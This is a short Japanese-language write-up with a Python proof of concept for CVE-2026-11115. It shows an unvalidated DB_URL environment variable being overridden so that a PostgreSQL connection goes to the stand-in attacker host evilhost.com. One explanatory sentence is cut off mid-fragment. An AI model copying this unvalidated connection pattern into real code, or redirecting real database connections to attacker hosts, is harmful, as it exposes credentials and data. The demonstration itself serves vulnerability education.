
CVE-2026-11115 の最小限の Python 概念実証(PoC)。環境変数を介したデータベース接続文字列インジェクションと、攻撃者が制御する PostgreSQL ホストへのリダイレクトを実証します。
# db_connector.py - Constructs DB connection string from environment
import os, psycopg2
def connect():
# Reads DB_URL; attacker can override via environment injection if they control an env var
db_url = os.getenv('DB_URL', 'postgresql://user:pass@localhost/db')
# Vulnerability: no validation; allows extra parameters like ?application_name=... but also SSRF or auth bypass
conn = psycopg2.connect(db_url)
return conn
# Simulate an attacker who can set environment variable:
os.environ['DB_URL'] = "postgresql://user:pass@localhost/db?host=evilhost.com&sslmode=disable"
c = connect() # Connects to attacker-controlled host!
print("Connected to attacker DB.")
アプリケーションは、環境変数からデータベース接続文字列を検証なしに構築します。攻撃者がその変数を操作できる場合(たとえば、サーバーサイドリクエストフォージェリやCI/CDパイプラインの設定ミスを介して)、データベース接続を自身のサーバーにリダイレクトし、データを傍受または改ざんできます。
host など)が付加される可能性があるため。シミュレーションを実行:
pip install psycopg2-binary
python db_connector.py
このプログラムは、localhost ではなく evilhost.com への接続を試みます。